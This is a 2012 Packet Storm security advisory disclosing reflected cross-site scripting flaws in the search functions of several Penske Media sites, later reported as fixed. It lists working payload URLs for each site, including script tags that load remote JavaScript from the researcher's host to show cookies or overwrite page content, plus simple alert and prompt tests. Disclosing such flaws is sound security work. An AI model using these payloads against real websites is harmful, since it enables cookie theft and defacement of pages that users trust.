exploit the possibilities

Penske Media Corporation Cross Site Scripting

Penske Media Corporation Cross Site Scripting
Posted Nov 20, 2012
Authored by Janne Ahlberg

Various Penske Media Corporation sites such as variety.com, la411.com, newyork411.com, and deadline.com all suffer from reflective cross site scripting vulnerabilities. Note that this finding houses site-specific data. Editor's note 01/04/2013: Per the advisory author, the issues have been resolved in all sites listed and Penske Media have addressed the issue.

tags | exploit, vulnerability, xss
MD5 | d40c218999b62a9c8d04b9c051081ec7

Penske Media Corporation Cross Site Scripting

Change Mirror Download
----------------------------------------------------------------------------------------------------
Title : Penske Media Corporation reflected Cross Site Scripting (XSS) vulnerabilities

Vendor : Penske Media Corporation (http://www.pmc.com/)

Description : Multiple PMC web-sites are vulnerable to reflected Cross-site Scripting attacks

Advisory time-line:
----------------------------------------------------------------------------------------------------
- Vendor notified : 16-Oct-2012, 9-Nov-2012, 15-Nov-2012 - no responses
- Packet Storm advisory : 20-Nov-2012

Test environment
----------------------------------------------------------------------------------------------------
- Latest Firefox browser

Vulnerable PMC sites
----------------------------------------------------------------------------------------------------
- Variety.com
- La411.com
- newyork411.com
- deadline.com


Details
----------------------------------------------------------------------------------------------------
Affected functionality: site search

Test #1: Remote Javascript execution: display browser cookie
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%20src=http://idash.net/xs.js%3E%3C/script%3E
http://www.la411.com/search/index.cfm?searchParam=%3C%2Fscript%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fidash.net%2Fxs.js%3E%3C%2FSCRIPT%3E

Test #2, Remote Javascript execution: overwrite HTML content
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%20src=http://idash.net/fr.js%3E%3C/script%3E
http://www.la411.com/search/index.cfm?searchParam=%3C%2Fscript%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cscript+src%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2Fscript%3Ei&x=0&y=0
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fidash.net%2Ffr.js%3E%3C%2FSCRIPT%3E

Test #3, Simple alert
http://www.variety.com/search/?key=%3C/script%3E%3Cscript%3E+-+-1-+-+alert%28/XSS/%29%3C/script%3E
http://www.la411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cimg+src%3Dx+onerror%3Dprompt%28/XSS/%29%3E&x=0&y=0
http://www.newyork411.com/search/index.cfm?searchParam=%22%3E%27%3E%3Cimg+src%3Dx+onerror%3Dprompt%28/XSS/%29%3E&x=0&y=0
http://www.deadline.com/?s=%22%3E%27%3E%3CSCRIPT%3Eprompt%28/XSS/%29%3C%2FSCRIPT%3E


Note: the test cases are not malicious.

Researcher
----------------------------------------------------------------------------------------------------
Janne Ahlberg
Project site: http://idash.net
Twitter: https://twitter.com/JanneFI
----------------------------------------------------------------------------------------------------
Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close